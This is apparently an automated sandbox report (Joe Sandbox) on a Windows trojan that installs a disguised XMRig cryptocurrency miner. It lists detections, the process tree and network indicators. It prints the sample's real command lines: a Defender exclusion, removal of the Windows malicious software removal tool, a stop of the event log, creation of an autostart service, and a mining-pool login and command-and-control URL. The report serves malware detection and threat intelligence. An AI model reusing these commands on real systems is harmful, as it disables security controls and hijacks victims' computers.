Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe
Analysis ID:	1504973
MD5:	6424419ac4c6f0a24c95233e527c1e8a
SHA1:	deae1c236a839075f13c2f5f0a32fd123b0e0d4d
SHA256:	8c53149f0180a2d3d0c7b2b481c78d9dc0f88270c8506b5dd62eaf115a17e98d
Tags:	exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Detected Stratum mining protocol

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspect Svchost Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe (PID: 5340 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe" MD5: 6424419AC4C6F0A24C95233E527C1E8A)

powershell.exe (PID: 6456 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5456 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 4332 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 7064 cmdline: C:\Windows\system32\sc.exe delete "PHVUTTIO" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4160 cmdline: C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6980 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5572 cmdline: C:\Windows\system32\sc.exe start "PHVUTTIO" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

bbecxurdegum.exe (PID: 5248 cmdline: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe MD5: 6424419AC4C6F0A24C95233E527C1E8A)

powershell.exe (PID: 6788 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6756 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 2820 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

conhost.exe (PID: 6056 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3920 cmdline: svchost.exe MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6984 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fc08:$a1: mining.set_target 0x361e30:$a2: XMRIG_HOSTNAME 0x3647a8:$a3: Usage: xmrig [OPTIONS] 0x361e08:$a4: XMRIG_VERSION
Process Memory Space: svchost.exe PID: 3920	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: svchost.exe PID: 3920	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x52b56:$a1: mining.set_target 0x4f27e:$a2: XMRIG_HOSTNAME 0x50070:$a3: Usage: xmrig [OPTIONS] 0x4f25f:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
23.2.svchost.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
23.2.svchost.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x370008:$a1: mining.set_target 0x362230:$a2: XMRIG_HOSTNAME 0x364ba8:$a3: Usage: xmrig [OPTIONS] 0x362208:$a4: XMRIG_VERSION
23.2.svchost.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3b5761:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
23.2.svchost.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3b5fd8:$s1: %s/%s (Windows NT %lu.%lu 0x3b9600:$s3: \\.\WinRing0_ 0x3671a8:$s4: pool_wallet 0x3615d8:$s5: cryptonight 0x3615e8:$s5: cryptonight 0x3615f8:$s5: cryptonight 0x361608:$s5: cryptonight 0x361620:$s5: cryptonight 0x361630:$s5: cryptonight 0x361640:$s5: cryptonight 0x361658:$s5: cryptonight 0x361668:$s5: cryptonight 0x361680:$s5: cryptonight 0x361698:$s5: cryptonight 0x3616a8:$s5: cryptonight 0x3616b8:$s5: cryptonight 0x3616c8:$s5: cryptonight 0x3616e0:$s5: cryptonight 0x3616f8:$s5: cryptonight 0x361708:$s5: cryptonight 0x361718:$s5: cryptonight

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ParentProcessId: 5340, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6456, ProcessName: powershell.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe, ParentImage: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe, ParentProcessId: 5248, ParentProcessName: bbecxurdegum.exe, ProcessCommandLine: svchost.exe, ProcessId: 3920, ProcessName: svchost.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 141.94.96.71, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\System32\svchost.exe, Initiated: true, ProcessId: 3920, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe, ParentImage: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe, ParentProcessId: 5248, ParentProcessName: bbecxurdegum.exe, ProcessCommandLine: svchost.exe, ProcessId: 3920, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ParentProcessId: 5340, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "PHVUTTIO" binpath= "C:\ProgramData\utblsmnncewd\bbecxurdegum.exe" start= "auto", ProcessId: 4160, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ParentProcessId: 5340, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 6456, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe, ParentImage: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe, ParentProcessId: 5248, ParentProcessName: bbecxurdegum.exe, ProcessCommandLine: svchost.exe, ProcessId: 3920, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ParentProcessId: 5340, ParentProcessName: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6980, ProcessName: sc.exe

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-05T16:25:06.413438+0200	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.5	61015	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-05T16:25:08.184137+0200	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.5	49705	195.10.205.253	80	TCP
2024-09-05T16:26:07.213120+0200	2051004	2	Crypto Currency Mining Activity Detected	192.168.2.5	49715	195.10.205.253	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-05T16:25:01.830482+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.5	49704	141.94.96.71	8080	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

ReversingLabs: Detection: 76%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

ReversingLabs: Detection: 76%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.9% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3920, type: MEMORYSTR

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.94.96.71:8080 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"4335mezgwwsmbw161uqp6waqyxztrvxwsbpkzpxtxxah4mtoxxbierhgbab8xhdzaemkwwvnp49wwk5ribj37ak2azkaekr","pass":"x","agent":"xmrig/6.21.3 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2022","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Found strings related to Crypto-Mining

Source: svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: svchost.exe	String found in binary or memory: cryptonight/0
Source: svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: bbecxurdegum.exe, 00000010.00000003.2132571652.000001A0F42E0000.00000004.00000001.00020000.00000000.sdmp, clwjpwuuvdte.sys.16.dr

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 141.94.96.71:8080

Source: Joe Sandbox View

IP Address: 141.94.96.71 141.94.96.71

Source: Joe Sandbox View	ASN Name: TSSCOM-ASRU TSSCOM-ASRU
Source: Joe Sandbox View	ASN Name: DFNVereinzurFoerderungeinesDeutschenForschungsnetzese DFNVereinzurFoerderungeinesDeutschenForschungsnetzese

Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.5:61015 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.5:49705 -> 195.10.205.253:80
Source: Network traffic	Suricata IDS: 2051004 - Severity 2 - ET MALWARE [ANY.RUN] SilentCryptoMiner Check-in POST Request : 192.168.2.5:49715 -> 195.10.205.253:80
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.5:49704 -> 141.94.96.71:8080

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: pool.supportxmr.com

Source: unknown

HTTP traffic detected: POST /panel/api/endpoint.php HTTP/1.1Accept: */*Connection: closeContent-Length: 482Content-Type: application/jsonHost: 195.10.205.253User-Agent: cpp-httplib/0.12.6

Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.3318737467.0000021073480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.253/panel/api/endpoint.php
Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.253/panel/api/endpoint.php--cinit-version=3.4.1--cinit-idle-wait=15--cinit-idle-cp
Source: svchost.exe, 00000017.00000003.2133808985.000002107346B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.253/panel/api/endpoint.phpmcqqajuoiblhnzuh
Source: bbecxurdegum.exe, 00000010.00000003.2132571652.000001A0F42E0000.00000004.00000001.00020000.00000000.sdmp, clwjpwuuvdte.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: bbecxurdegum.exe, 00000010.00000003.2132571652.000001A0F42E0000.00000004.00000001.00020000.00000000.sdmp, clwjpwuuvdte.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: bbecxurdegum.exe, 00000010.00000003.2132571652.000001A0F42E0000.00000004.00000001.00020000.00000000.sdmp, clwjpwuuvdte.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: bbecxurdegum.exe, 00000010.00000003.2132571652.000001A0F42E0000.00000004.00000001.00020000.00000000.sdmp, clwjpwuuvdte.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

System Summary

Malicious sample detected (through community Yara rule)

Source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: svchost.exe PID: 3920, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Code function: 0_2_00007FF7CA381394 NtAllocateVirtualMemoryEx,	0_2_00007FF7CA381394
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Code function: 16_2_00007FF7794E1394 NtModifyBootEntry,	16_2_00007FF7794E1394
Source: C:\Windows\System32\conhost.exe	Code function: 20_2_0000000140001394 NtAlpcQueryInformationMessage,	20_2_0000000140001394

Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

File created: C:\Windows\TEMP\clwjpwuuvdte.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_ingxpkfp.uhv.ps1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Code function: 0_2_00007FF7CA383B50	0_2_00007FF7CA383B50
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Code function: 16_2_00007FF7794E3B50	16_2_00007FF7794E3B50
Source: C:\Windows\System32\conhost.exe	Code function: 20_2_0000000140003150	20_2_0000000140003150
Source: C:\Windows\System32\conhost.exe	Code function: 20_2_00000001400026E0	20_2_00000001400026E0

Source: Joe Sandbox View

Dropped File: C:\Windows\Temp\clwjpwuuvdte.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Code function: String function: 00007FF7CA381394 appears 33 times
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Code function: String function: 00007FF7794E1394 appears 33 times

Source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 23.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: svchost.exe PID: 3920, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: clwjpwuuvdte.sys.16.dr

Binary string: \Device\WinRing0_1_2_0

Source: conhost.exe, 00000014.00000002.3317941795.00000183E6A80000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: KsN=}cV,we[WyL.vbPy=HMAg+IYydC,i.%^Z}Xvw"0NvENOA_vz~LJt-dKOaPcQ~S)]]_hQKcI|eTBYmmV(I9T[y+g

Source: classification engine

Classification label: mal100.evad.mine.winEXE@35/12@1/2

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3692:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5952:120:WilError_03
Source: C:\Windows\System32\svchost.exe	Mutant created: \BaseNamedObjects\Global\mcqqajuoiblhnzuh

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3o2mnnd.u10.ps1

Jump to behavior

